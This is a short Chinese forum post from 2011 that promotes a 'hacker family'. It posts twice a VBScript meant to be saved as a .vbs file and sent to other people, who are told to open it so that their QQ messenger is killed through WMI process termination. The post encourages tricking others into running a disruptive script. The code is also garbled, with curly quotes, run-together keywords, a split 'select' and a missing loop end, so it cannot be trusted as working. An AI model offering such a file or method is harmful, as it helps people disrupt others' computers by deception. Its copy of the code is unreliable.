朋友加入hacker家族学习刷钻、黑客技术吧！先创建一个txt文本文档，然后把下面的源码复制粘贴在上面去，粘贴好了点另存为。。。把文件的后缀名改成 .vbs　　现在你把这个文件发给别人试试，叫他打开，打开后QQ自动掉线，不信的话你也可以打开下试试。
[【Hacker〉Van、无奈→于2011-12-2 8:49:12续贴]:
　　strComputer=“.“　　Set objWMIService =GetObject(“winmgmts:\\“ &strComputer & “\root\cimv2“)　　SetcolProcessList=objWMIService.*Query (“s elect * fromWin32_Process where Name=‘QQ.exe‘ “)　　For Each objProcess incolProcessList　　objProcess.Terminate()　　
[【Hacker〉Van、无奈→于2011-12-2 8:49:17续贴]:
　　strComputer=“.“　　Set objWMIService =GetObject(“winmgmts:\\“ &strComputer & “\root\cimv2“)　　SetcolProcessList=objWMIService.*Query (“s elect * fromWin32_Process where Name=‘QQ.exe‘ “)　　For Each objProcess incolProcessList　　objProcess.Terminate()